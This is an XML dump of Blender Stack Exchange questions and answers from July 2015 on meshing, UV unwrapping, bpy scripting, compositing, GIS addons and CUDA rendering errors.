  <row Id="34298" PostTypeId="1" CreationDate="2015-07-20T18:42:45.800" Score="2" ViewCount="476" Body="&lt;p&gt;I found out that it's better that a mesh consists of quads than triangles (&lt;a href=&quot;http://blog.digitaltutors.com/modeling-with-quads-or-triangles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.digitaltutors.com/modeling-with-quads-or-triangles/&lt;/a&gt;). So I thought I will give it a try and use the remesh-modifier to make quads.&lt;/p&gt;&#xA;&lt;p&gt;I created a &lt;strong&gt;icosphere&lt;/strong&gt; and added the remesh-modifier (see screenshot). You can see some holes which in fact are overlapping faces. That's more or less ugly and I don't want that. I know I could delete the overlapping faces and create new correct faces, but I am writing a procedural mesh add-on and so the way of doing it manually is out of the scope.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r3P1C.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;When I am using Mode: Smooth the holes/overlapping faces disappear but I am not so sure if they could come back again.&lt;/p&gt;&#xA;&lt;p&gt;Could someone explain to me why this is happeing?&#xA;The Smooth-Mode is working without sharp-feature detection. But what is a &amp;quot;sharp-feature&amp;quot; on a icosphere? And why is it a problem for the modifier?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-21T07:50:36.073" Title="Remesh-Modifier in Sharp mode generates overlapping faces?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34299" PostTypeId="1" AcceptedAnswerId="34310" CreationDate="2015-07-20T18:59:47.693" Score="2" ViewCount="1364" Body="&lt;p&gt;I'd like to append all objects from a specific blend file. Some objects in the blend file have drivers attached. For example z-coordinate of the Cube is equal to z-coordinate of the Empty. I used the following simple code for appending.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;with bpy.data.libraries.load(&quot;path/to/test.blend&quot;) as (data_from, data_to):&#xA;    data_to.objects = data_from.objects&#xA;&#xA;for obj in data_to.objects:&#xA;    bpy.context.scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, drivers don't work after execution of the above code. They start to work if I go to the driver settings and press &quot;Update Dependecies&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the trick to make drivers work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file I'm trying to append:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/365/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=365&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14200" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-21T22:02:56.087" Title="Appending with bpy.data.libraries.load and drivers" Tags="&lt;append&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34300" PostTypeId="1" AcceptedAnswerId="34589" CreationDate="2015-07-20T19:18:53.380" Score="2" ViewCount="5578" Body="&lt;p&gt;I am having a UV-Sphere with 23k vertices and 25k faces. I used the Smart UV project to create UV-Coordinates but I was surpries to see that some of the faces are overlapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LSe5Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to reproduce that behaviour with a simple plane, which I subdivided two times and then moved two vertices. The Smart UV Project's angle limit must be 89.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f30sf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bug? I thought every face should have it's own uv-coordinates as well as texture space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: The first picture was done with Smart UV project Angle Limit 66.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also happens when I use a Smart UV project on a uvsphere where the vertices are moved along their normal with a value out of a noise function.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/B1kTI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;This can't be right?&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="13978" LastEditDate="2015-07-21T18:42:43.573" LastActivityDate="2021-05-17T07:44:58.780" Title="Smart UV project creates overlapping uv-coordinates" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34301" PostTypeId="2" ParentId="34296" CreationDate="2015-07-20T19:31:04.243" Score="3" Body="&lt;p&gt;It's not possible. The active scene (bpy.context.active_scene, I think) is shared by the whole blender session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could within one scene use several viewports without a problem (check the manual, you click and drag from the \\ section in the lower left corner to create a new viewport and set it to '3d view').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you want is a final render with a 3x3 matrix you could render them from separate scenes and merge them using the compositor in a new scene (using translations to move them and scale them to put them at different places on screen).&lt;/p&gt;&#xA;" OwnerUserId="15725" LastActivityDate="2015-07-20T19:31:04.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34302" PostTypeId="1" AcceptedAnswerId="34306" CreationDate="2015-07-20T19:49:11.393" Score="2" ViewCount="777" Body="&lt;p&gt;I'm trying to add an animated logo watermark made of looping image sequence on a 1080p video using alpha over node in the compositor, but the rendering is 2-3 seconds for each frame and that can take a lot of time for long videos. Is there another method to do that to increase the processing speed? &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-20T21:03:39.457" Title="Adding an animated watermark on a video" Tags="&lt;compositor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34303" PostTypeId="1" AcceptedAnswerId="34314" CreationDate="2015-07-20T20:18:00.670" Score="8" ViewCount="610" Body="&lt;p&gt;How can I create a automatic render setup, for example, I need to render with the same settings to an mp4, from the 001 to 10 one file, than from the 011 to 021 another and a few others.&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2015-07-21T02:08:12.247" Title="Render different frames" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34304" PostTypeId="2" ParentId="34296" CreationDate="2015-07-20T20:40:39.290" Score="0" Body="&lt;p&gt;It should be possible to create a separate Scene and use the VSE to load the 9 prerendered videos as image strips.  Each strip would need a different Effect/Transform on it to scale them and adjust their X/Y offsets to tile properly.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-20T20:40:39.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34305" PostTypeId="1" AcceptedAnswerId="34413" CreationDate="2015-07-20T21:01:29.233" Score="1" ViewCount="340" Body="&lt;p&gt;For a game I'm making, I need the speed an object moves increase until it reaches a set amount. If this can be achieved just by using the logic editor that would be brilliant but I know a bit of the Python bge so that would be fine.&lt;br/&gt;&#xA;Also just out of interest, is it possible to do this on, for example, the camera's orthographic scale (or other properties)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I might have explained this badly, so let me rephrase: when the game is started, I want an object to gradually speed up until it reaches a certain speed. At this point, I want the object to keep moving at the same speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! :)&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2015-07-23T09:27:50.867" Title="Is it possible to have a variable increase using the game logic editor?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34306" PostTypeId="2" ParentId="34302" CreationDate="2015-07-20T21:03:39.457" Score="2" Body="&lt;p&gt;After doing some tests I found out that Video Sequence Editor gives 5-10 times faster result than the Compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a Transform Strip to the Logo image sequence, changed Blend to Alpha Over and adjusted Position and Uniform Scale, then duplicated both Logo and Transform strips to match the video length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v62XR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-20T21:03:39.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34307" PostTypeId="1" CreationDate="2015-07-20T21:41:47.860" Score="4" ViewCount="6668" Body="&lt;p&gt;I used to work in the mapping industry and I'm interested in seeing what capabilities Blender has in importing GIS based data sets and blending them together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to be able to import .shp, .jpg, Collada, .NITF, and .tif files and merge them to create a terrain using real world topology/hydrology/etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just recently found a Blender plug in off of Github called BlenderGIS which provides .shp functionality. I would love to be able to import LIDAR or some other topology maps and drape a satellite/airplane image over the lines/points to make a 3D map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you know of any currently implemented solutions. I'm really excited about the prospect of this.&lt;/p&gt;&#xA;" OwnerUserId="15796" LastEditorUserId="2217" LastEditDate="2015-07-20T21:52:32.023" LastActivityDate="2015-07-21T01:31:27.533" Title="GIS data import" Tags="&lt;workflow&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34308" PostTypeId="1" CreationDate="2015-07-20T21:48:40.623" Score="0" ViewCount="478" Body="&lt;p&gt;What I want to do is export my mesh (OBJ) without the texture information written to the faces, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v 162.319473 -0.732841 161.752060&#xA;v ...&#xA;vt 10.000000 -20.975000&#xA;vt ...&#xA;f 1/1 2/2 3/3&#xA;f 4/4 1/1 3/3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v 162.319473 -0.732841 161.752060&#xA;v ...&#xA;vt 10.000000 -20.975000&#xA;vt ...&#xA;f 1 2 3&#xA;f 4 1 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still want the texture coordinates on my .obj file, I just don't need them written to faces. Is there any way I can do that?&lt;/p&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="2217" LastEditDate="2015-07-20T21:53:33.730" LastActivityDate="2015-07-20T21:53:33.730" Title="Export OBJ without texture data on faces (but with UV coordinates)" Tags="&lt;uv&gt;&lt;objects&gt;&lt;export&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34309" PostTypeId="2" ParentId="34300" CreationDate="2015-07-20T22:55:03.617" Score="1" Body="&lt;h2&gt;Because there are &lt;a href=&quot;http://strattonbrazil.blogspot.it/2009/12/ngons-are-they-really-that-evil.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;non-planar/concave quads&lt;/a&gt;.&lt;/h2&gt;&#xA;&lt;p&gt;Unfortunately I don't know the math behind the algorithm itself, but I can guess that this kind of faces are not easy to handle for this kind of operation.&lt;/p&gt;&#xA;&lt;p&gt;Blender has to do calculation about the angle between faces. If that angle overcome a thershold (the angle limit) the edge between faces become a point of discontinuity, a seam.&lt;/p&gt;&#xA;&lt;p&gt;If the face has an ambiguous geometry, it becames more difficult to have a predictable behavior, as what the modeler sees may not be what the software understand.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pYL4O.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The image above shows two possible triangulation of a non-planar quad face. If the modeler doesn't specify which one is the expected geometry, the software could not act as expected.&lt;/p&gt;&#xA;&lt;p&gt;A predictable behavior can be achieve by solving ambiguities. One (brutal) way is to triangulate (not only the overlapping-uv faces, but a bigger area as adjacent faces are also take in account in the calculation).&lt;/p&gt;&#xA;&lt;p&gt;Notice in the images below how a triangulate mesh is not affected by overlapping uv.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mTzJi.jpg&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/CDxJf.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;...and in your example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VHDOr.jpg&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/gGC8i.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It may not enter in the UV-unwrapping hall of fame,... but at least there isn't any overlap.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="86978" LastEditDate="2021-05-17T07:44:58.780" LastActivityDate="2021-05-17T07:44:58.780" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34310" PostTypeId="2" ParentId="34299" CreationDate="2015-07-21T00:21:12.300" Score="2" Body="&lt;p&gt;The following code does the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# prepare files list for bpy.ops.wm.append(..)&#xA;files = []&#xA;with bpy.data.libraries.load(&quot;path/to/test.blend&quot;) as (data_from, data_to):&#xA;    for name in data_from.objects:&#xA;        files.append({'name': name})&#xA;&#xA;bpy.ops.wm.append(directory=&quot;path/to/test.blend&quot;+&quot;/Object/&quot;, files=files)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14200" LastEditorUserId="14200" LastEditDate="2015-07-21T22:02:56.087" LastActivityDate="2015-07-21T22:02:56.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34312" PostTypeId="2" ParentId="34307" CreationDate="2015-07-21T01:31:27.533" Score="4" Body="&lt;p&gt;GIS in Blender is currently represented by 2 addons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;https://github.com/domlysz/BlenderGIS&quot; rel=&quot;nofollow&quot;&gt;https://github.com/domlysz/BlenderGIS&lt;/a&gt; (Shapefile and georeferenced raster files)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;https://github.com/vvoovv/blender-geo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vvoovv/blender-geo&lt;/a&gt; (OpenStreetMap, SRTM, GPX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also read &lt;a href=&quot;https://github.com/vvoovv/blender-geo/wiki/Georeferenced-Blender-Scene&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; how georeferencing can be introduced to Blender.&lt;/p&gt;&#xA;" OwnerUserId="14200" LastActivityDate="2015-07-21T01:31:27.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34313" PostTypeId="1" CreationDate="2015-07-21T01:31:28.207" Score="1" ViewCount="101" Body="&lt;p&gt;For my master thesis, I need to have a formal definition of a mesh (if several definitions, the one used in Blender), in a mathemathical point of view. So &quot;geometric model described by vertices, edges and faces, ...&quot; is not enough. And I can't seem to find good literature giving the definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if my request seems stupid.&lt;/p&gt;&#xA;" OwnerUserId="14188" LastActivityDate="2015-07-21T01:31:28.207" Title="Formal definition of a mesh" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34314" PostTypeId="2" ParentId="34303" CreationDate="2015-07-21T02:08:12.247" Score="6" Body="&lt;p&gt;Here's a quick script to render out separate frame ranges of the animation. The script assumes you've set an output folder correctly as well as setting the video format settings as you want them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;frameList = [&#xA;    [1,50],&#xA;    [51,100],&#xA;    [101,150]&#xA;    ]&#xA;&#xA;scn = bpy.context.scene&#xA;&#xA;for fr in frameList:&#xA;&#xA;    scn.frame_start = int(fr[0])&#xA;    scn.frame_end = int(fr[1])&#xA;    bpy.ops.render.render(animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-21T02:08:12.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34315" PostTypeId="2" ParentId="34258" CreationDate="2015-07-21T03:59:07.787" Score="3" Body="&lt;p&gt;The answer to your query,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;should [I] start with one big object and use that, or if I should make tons of small objects and link them together&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is an unambiguous &quot;it depends&quot;. Some of this is a matter of directorial decision making on the part of the director of the animation, and on the part of the director of the game. If I were doing this, I would start by categorizing the content elements into several categories base on size. In this case, the largest size would be &quot;Geological&quot;, the next largest &quot;Architectural&quot;, the next largest &quot;human&quot;, the next largest large pet (think 100 kg / 220 pound dog here), the next largest small animal (think cat / fox / rabbit), then maybe tiny mammal (field mouse). For each category I would define a ~.blend file to use as a template, with lighting, and camera setups appropriate for the size items being modeled. Of course, there is no reason you are required to do a field mouse in the tiny mammal blend setting, but it will be easier than trying to do it if the camera and lights are at a point where they would be useful for modeling a mountain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These categories are not necessarily hard and fast; given a particular category of item, say vehicles, some might be &quot;human scale&quot; (e.g., passenger automobiles), while others (18 wheeler semi-trailers, or railroad cars) will be &quot;Architectural scale&quot;, while a few (&lt;a href=&quot;https://en.wikipedia.org/wiki/Marie_Triple_E_class&quot; rel=&quot;nofollow noreferrer&quot;&gt;Maersk M3 containerships&lt;/a&gt;) are geological scale. In the case of the geometry you are asking about, the mountain would be geological scale, but the small tunnels might be architectural scale or human scale. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, consideration will need to be given to the size of the area. Blender has a maximum scalar value in any direction of 10,000 units, so the maximum displacement from one extreme to the other is about 20,000 units. if the units are considered to be meters, means that the largest terrain item in Blender would be about 20 kilometers square, or 400 square kilometers. This would convert to about 144 square miles (arithmetic calculations here are approximate, but close enough to make the point.) If you're planning that your game will require more area than this, you will have to use more than one scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do, therefore is to do each modeling task at the appropriate scale, using the largest scale object as the &quot;stage&quot; for smaller ones. So the terrain would be one large object in an Geological scale scene (base scene), while the tunnels might be smaller objects, and might be linked into the Base scene, as would all of the components of the scene. Model them in the appropriate scale blender file, and link them into the base scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why link? Because if you link pieces in, one of which we'll assume for the sake of discussion is a small bridge, and decide to change the item (the design of the bridge is all wrong for the scene, we'll use a different design instead), you shouldn't have to worry about changing the bridge in the base scene. And if you want to refine the model of a field mouse sized item, say a magic amulet, you can work on that at a scale that makes working on the amulet simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one thing worth special mention, especially with respect to &quot;large mountains&quot;.  Special attention needs to be paid to geometry when as the slope of the terrain approaches, and exceeds 45 degrees from the horizontal, as using a plain grid based upon a horizontal projection in this instance will result in undesirable geometry. When doing a bit of terrain where the slope is 35-40 degrees or more, add additional geometry parallel to the horizontal to add additional percent. This image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ju5TN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shows what I am referring to. The geometry on the image on the left is based upon a 10 meter x 10 meter grid, which is adequate on the approximately level surfaces. As you can see on the cliff, however, the 10 x 10 grid, while satisfactory on the horizontal surfaces, is not so pleasing on the more nearly vertical surfaces of the cliffs in the background. The wireframe view on the right shows a much more pleasing geometry created by subdividing the vertical surfaces at 10 meter intervals. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-24T04:20:58.813" LastActivityDate="2015-07-24T04:20:58.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34316" PostTypeId="1" CreationDate="2015-07-21T04:27:28.227" Score="1" ViewCount="220" Body="&lt;p&gt;I know that when I add an empty object to a scene, the empty defaults to a &quot;plain axes&quot; view type, but that I can change the view type to one of several options: Arrows, SingleArrow, Circle, Cube, Sphere, Cone, and Image. But if I want change &quot;plain axes&quot; to &quot;Arrows&quot; almost all the time, it would be more efficient to change the display default to &quot;Arrows&quot;. How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-24T07:08:57.447" Title="How do I change the default data settings for an empty?" Tags="&lt;objects&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34317" PostTypeId="1" CreationDate="2015-07-21T06:26:39.080" Score="1" ViewCount="5116" Body="&lt;p&gt;If I reset Blender to factory settings, turn on CUDA + Cycles, delete everything in the scene but the camera, and hit F12 to render, I get an Out of Memory error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CUDA error: Out of memory in cuLaunchKernel(cuPathTrace, xblocks, yblocks, 1, xthreads, ythreads, 1, 0, 0, args, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJzCy.png&quot; alt=&quot;CUDA error: Out of memory in cuLaunchKernel(cuPathTrace, xblocks, yblocks, 1, xthreads, ythreads, 1, 0, 0, args, 0)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already made sure of the following things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;My GPU [512MB NVIDIA GeForce GT 640M] &lt;strong&gt;supports&lt;/strong&gt; CUDA and has a &lt;strong&gt;3.0&lt;/strong&gt; compute capability (more than the minimum of 2.0 required by Blender).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My CUDA PrefPane states that I'm on the &lt;strong&gt;latest possible version&lt;/strong&gt; of CUDA [7.0.52]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender is aware of my GPU and does not have experimental features enabled:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eSTNe.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My 640m GPU is very weak, and should certainly render &lt;em&gt;slowly&lt;/em&gt;.  However, it fails to render anything, even the just default cube, even just the default sky with nothing else in the scene.  I don't understand why this is the case.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting the same error a few dozen times, one instance &quot;succeeded&quot;–that is, it didn't throw an out of memory error!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, Blender displayed this: &lt;img src=&quot;https://i.stack.imgur.com/FExZq.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and gradually brought my computer to a standstill until it rebooted itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or suggestions for things to try will be greatly appreciated.  CPU rendering gets very tedious very quickly, especially for complex scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: VRAM Usage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to precisely measure VRAM usage, but iStat menus shows a rough estimate.  This is what it looks like before and after turning on Blender (without rendering anything):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FGeRV.png&quot; alt=&quot;about 20%&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lTKwR.png&quot; alt=&quot;about 80%&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If 90% of my VRAM is being used by Blender window rendering + system stuff, that leaves 51.2MB free.  A fresh-from-reset scene has a memory footprint of about 10MB (according to information panel).  If I take the error to be accurate, that means the memory footprint of the scene in VRAM is about 5x the normal scene memory footprint, which sounds crazy, but certainly possible.&lt;/p&gt;&#xA;" OwnerUserId="15802" LastEditorUserId="15802" LastEditDate="2015-07-21T07:28:04.093" LastActivityDate="2016-07-18T11:44:15.470" Title="Why do I get &quot;CUDA error: Out of memory&quot;, even on empty scenes?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34318" PostTypeId="2" ParentId="34316" CreationDate="2015-07-21T06:29:10.960" Score="1" Body="&lt;p&gt;There's no mechanism to change the default, or setting in preferences. It could be added but frankly it's not likely to be considered worth the effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMWhH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating the Empty it is picked from a dropdown menu, the next menu item down is Arrows. Moving a few pixels down with the mouse is probably the most non-invasive solution.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Existing key-combos&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But by far the easiest is the shortcut sequence &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;  &gt; &lt;kbd&gt; E &lt;/kbd&gt; &gt; &lt;kbd&gt; A &lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Making an add-on&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could write an add-on / operator and bind it to a shortcut to make Arrows the default display type for Empties generated by the operator. See &lt;a href=&quot;https://blender.stackexchange.com/a/26384/47&quot;&gt;this post&lt;/a&gt; for most of the code you'd need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add Shortcut&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also make a shortcut, by right-clicking on the Arrows menu item and choosing &lt;em&gt;Add Shortcut&lt;/em&gt;, and it will ask you to press a key or combo.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-24T07:08:57.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34319" PostTypeId="1" AcceptedAnswerId="34322" CreationDate="2015-07-21T10:02:12.987" Score="8" ViewCount="5177" Body="&lt;p&gt;I have the following code which generates an object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.meshes.new(&quot;Raw Curve&quot;)  &#xA;mesh.from_pydata(self.rawCurve, edges, [])  # verts, edges, faces&#xA;mesh.update()  &#xA;&#xA;profile_object = bpy.data.objects.new(&quot;Raw Curve&quot;, mesh)  &#xA;profile_object.data = mesh  # this line is redundant .. it simply overwrites .data  &#xA;&#xA;scene = bpy.context.scene  &#xA;scene.objects.link(profile_object)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add this object to a specific layer (e.g. to layer 2)?&lt;/p&gt;&#xA;" OwnerUserId="15667" LastEditorUserId="241" LastEditDate="2015-07-21T10:33:29.560" LastActivityDate="2015-07-22T15:43:06.727" Title="How to add object to a specific layer with Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;layers&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34320" PostTypeId="2" ParentId="10536" CreationDate="2015-07-21T10:13:12.150" Score="1" Body="&lt;p&gt;This is a very late answer, I didn't see in until now and if somebody had answered it, I would not have jumped in, since I am struggling with the same issue myself. But I might be a baby step ahead of you, so I thought I should share: You'll want to use a spline-ik constraint on the last bone of your chain, set the chain length accordingly (the selected bone included), as in the manual:&#xA; &lt;a href=&quot;https://www.blender.org/manual/rigging/posing/inverse_kinematics/spline_ik.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/rigging/posing/inverse_kinematics/spline_ik.html&lt;/a&gt; &#xA;You'll need a target curve. To control the curve you will need hooks, those can be bones, too, but whatever you do, don't use the same armature as the one controlling your bones because you will get strange effects: if you use bones as hooks, you'll need 2 armatures. I still need to work on the last part and I did have my trouble with tutorials, but I hope this was useful.&lt;/p&gt;&#xA;" OwnerUserId="15804" LastActivityDate="2015-07-21T10:13:12.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
